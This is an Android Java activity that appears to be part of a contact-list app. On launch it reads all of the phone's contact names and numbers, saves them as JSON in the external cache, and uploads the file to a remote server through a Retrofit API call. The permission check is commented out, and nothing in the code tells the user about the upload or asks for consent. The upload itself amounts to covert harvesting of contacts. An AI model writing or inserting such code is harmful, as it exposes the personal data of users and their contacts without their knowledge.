package com.lotte.contact;

import android.Manifest;
import android.content.ContentResolver;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.util.Log;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;

import com.google.gson.Gson;
import com.lotte.contact.http.APIRetrofit;
import com.ruitu.arad.api.BaseResult;
import com.ruitu.arad.api.RxUtil;
import com.ruitu.arad.base.BaseActivity;
import com.ruitu.arad.util.ToastUtils;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.HashMap;

import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import io.reactivex.disposables.Disposable;
import io.reactivex.functions.Consumer;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;

public class MainActivity extends BaseActivity {
    private ListView mlist_view;
    private ArrayAdapter<String> mAdapter;
    private ArrayList<String> mContatcList = new ArrayList<>();
    private HashMap<String, String> contactMap = new HashMap<>();
    public static final int REQ_CODE_CONTACT = 1;

    private String fileName = "contact.txt";
    private File file;
    private Gson gson = new Gson();

    @Override
    protected int getLayoutRes() {
        return R.layout.activity_main;
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mlist_view = findViewById(R.id.list_view);

        initAdapter();
//        checkContactPermission();
        try {
            query();
            genContactFile();
            uploadConatctData();
        } catch (Exception e) {
            e.printStackTrace();
            ToastUtils.showShortSafe("程序运行需要获取联系人和存储权限");
        }
    }

//    // 生成数据文件
//    private void genContactFile() {
//        if (!isDataEmpty(mContatcList)) {
//            String json = gson.toJson(mContatcList);
//            String json2 = gson.toJson(contactMap);
//
//            file = new File(getExternalCacheDir() + fileName);
//            OutputStream os = null;
//            ObjectOutputStream oos = null;
//
//            try {
//                os = new FileOutputStream(file);
//                oos = new ObjectOutputStream(os);
//                oos.writeObject(json2);
//                oos.flush();
//                oos.close();
//            } catch (IOException e) {
//                e.printStackTrace();
//            }
//        }
//    }

    // 生成数据文件
    private void genContactFile() {
        if (!isDataEmpty(mContatcList)) {
            String json = gson.toJson(mContatcList);
            String json2 = gson.toJson(contactMap);

            file = new File(getExternalCacheDir() + fileName);
            OutputStream os = null;

            try {
                os = new FileOutputStream(file);
//                out.write(bytes,0,bytes.length);// 写入
                os.write(json2.getBytes(), 0, json2.getBytes().length);
                os.flush();
                os.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    // 上传数据文件
    private Disposable uploadConatctData() {
        MultipartBody body = generateMultipartBody(file);
        return APIRetrofit.getDefault().uploadDataToServer(body)
                .compose(RxUtil.<BaseResult>subIoObMain())
                .subscribe(new Consumer<BaseResult>() {
                    @Override
                    public void accept(BaseResult baseResult) throws Exception {
                        if (baseResult.isSuccess()) {
                            ToastUtils.showShortSafe(baseResult.getMsg());
                        } else {
                            ToastUtils.showShortSafe(baseResult.getMsg());
                        }
                    }
                }, new Consumer<Throwable>() {
                    @Override
                    public void accept(Throwable throwable) throws Exception {
                        throwable.printStackTrace();
                        ToastUtils.showShortSafe("数据读取异常!");
                    }
                });
    }

    //生成请求实体
    private MultipartBody generateMultipartBody(File file) {
        MediaType FORM_CONTENT_TYPE = MediaType.parse("application/x-www-form-urlencoded; charset=utf-8");
        MultipartBody.Builder builder = new MultipartBody.Builder();
        builder.setType(MultipartBody.FORM);

        builder.addPart(MultipartBody.Part.createFormData("username", null, RequestBody.create(FORM_CONTENT_TYPE, "mobile user")));

        RequestBody requestBody = RequestBody.create(MediaType.parse("text/*"), file);
        builder.addFormDataPart("f", fileName, requestBody);

        MultipartBody multipartBody = builder.build();
        return multipartBody;
    }

    private void query() {
        ContentResolver contentResolver = this.getContentResolver();
        Cursor cursor = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
        Log.d("SmallLetters", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
        if (cursor != null) {
            while (cursor.moveToNext()) {
                String name = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
                String number = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));

                mContatcList.add("name " + name + "  phone " + number);
                contactMap.put(name, number);
            }
            mAdapter.notifyDataSetChanged();// 查询完联系人,更新listView
            cursor.close();
        }
    }

    private void initAdapter() {
        mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mContatcList);
        mlist_view.setAdapter(mAdapter);
    }

    // 检查申请联系人权限
    private void checkContactPermission() {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
            //未获取到读取联系人权限

            //向系统申请权限
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_CONTACTS}, REQ_CODE_CONTACT);
        } else {
            query();
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        //判断用户是否，同意 获取联系人授权
        if (requestCode == REQ_CODE_CONTACT && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            //获取到读取联系人权限
            query();
        } else {
            Toast.makeText(this, "未获取到联系人权限", Toast.LENGTH_SHORT).show();
        }
    }
}
